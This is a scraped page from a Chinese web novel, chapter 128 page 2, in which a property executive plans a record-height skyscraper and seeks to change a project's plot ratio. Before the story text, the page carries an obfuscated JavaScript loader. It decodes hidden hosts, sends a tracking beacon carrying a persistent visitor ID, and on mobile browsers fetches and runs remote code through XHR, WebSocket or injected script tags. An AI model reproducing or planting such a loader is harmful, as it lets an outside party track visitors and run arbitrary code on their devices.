足迹
我不想
登录
关灯
护眼
字体:

第128章 摩天大楼(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

就拿刚才提到的恒隆广场二期项目来说,跟一期加起来长远利益可能高达数百亿人民币,就连它附近的龙城天街项目都被碾压了,堪称全国最火爆的商业地产项目之一。

只要能挣钱,其他事都好商量,事先不是没有股东动起过那块地的念头。

再聊范连城抛出的“六二二概念”,被耿老头单独拿出来商议一番,有股东坦言界限不清晰,毕竟很多项目都是住宅配套建有商场,再多个写字楼也未尝不可。

前些日子股东们为发展方向争吵过,如今再看看,其实并不是非要在一棵树上吊死,选择向左或向右,大伙们都能接受这个发展战略理念,没什么好说的,很快就拍板同意了。

同样敲定下来的,还有那块重量级摩天大楼用地的设计规划,范连城将负责主持,联系设计公司弄些设计稿出来。

公司内部的设计院搞搞住宅、商场还凑合,数百米高的大楼他们敢设计,股东们也不敢用啊,万一斜了点、或是哪里开裂严重垮掉了,损失的可都是钱。

让范连城吃惊的是,一提到摩天大楼周伟锡就魔怔了,建议说压倒正在建造的迪拜塔,试试能不能建造个世界最高楼,最好是无论在哪个区都能被瞧见的那种。

更让他惊奇的是,一向稳重成熟的耿老头,居然顿时表态赞成,不愧是外聘回来的董事长,本身还不缺衣少食,花别人的钱建造大楼,真不会心疼。

范连城心动吗?

当然......

土地早就拿好了,如果大部分都用银行贷款得来的钱,并且周转速度快点,不会对龙城集团的预定规划造成太大影响。

以前忍着不敢提高负债率,随着集团上市、范连城上位,行事风格一下子就变掉了。

却也谈不上激进,毕竟贷款拿地,地也值钱,而且从早前来看,地价上涨速度往往超过银行贷款利率,更别提建成房子后了,利润还能更多点,欠债未尝不是件好事,借钱也得凭本事,许多个人和企业倒是想借钱,可银行不借。

伴随房地产成为国家支柱产业,大量资金和政策逐渐倾斜,另外经济增速不放缓、乡村和小城市人口往各个大城市不断涌入,考虑到城镇化水平不过才百分之四十四左右,无论怎么看这个行业都前景广阔。

范连城能琢磨明白的事,那些个经商多年的老狐狸们,自然也能琢磨明白。

中午陪老严等人喝了酒,扔出九个多亿人民币换来一座楼盘,接下来事情比较多,暂时不急于一时。

喝了杯茶,在沙发上躺着休息会儿,个把小时过去后才正式办公。

在十多份文件上签字,主要是关于款项的问题,有个住房项目预计下周破土动工,范连城跟分公司主管沟通了会儿,处理起这些事愈发得心应手,到现在还没出过大纰漏。

冯大发这狗鼻子比谁都灵敏,此刻拿着茶杯走进来,光明正大地蹭了些茶叶,笑起来依然挺贱,询问说:“咱们公司要造大楼了?那公司搬不搬,反正有那么多股民帮着分摊,必须按照五星级酒店标准,给小范总你造一间带卧室的办公室啊,给我在墙角留张桌子就成,不行就在门口守着,我看国外电影里都这样。”

“公司不搬,即使会建也要留着挣钱,这里不是挺好。”

范连城装作没看见那杯茶叶,反正是公司出钱,轮不到自己心疼。

平时白占不少好处,跟秦芷等人相比工作也轻松,此刻怎么看老冯都觉得碍眼,感觉比自己还像老总。

范连城见不得别人闲着,想起了一件事,吩咐说:

“帮我跑一趟,去问问官方那边能不能改动我新拿的项目,容积率才一点六出头,大多数房子面积小,规划才三千多户,而且还卖了点出去。

要是能补缴土地出让金,让我改动设计方案,我宁愿再缴纳一笔钱,里面应该有什么说法吧?必须办好这事,办不好别说守我门口,我让你守在电梯口。”

一听要让自己去当保安,老冯立马就上心了,告诉说:

“我记得两三年前出台一项新规,说是工业用地改动方案,原则上通过审批就可以,不需要补钱。商住房这一块我真不清楚,这事得先问好了才能跟人谈。

后滩的项目拿地早,设计上按照老一套来,现在商住房容积率不到四至五倍,那还卖什么房子?你等等,我现在就去帮你问,只要能成,保证帮你办得漂漂亮亮,到时候你这年底奖金可不能忘了我......”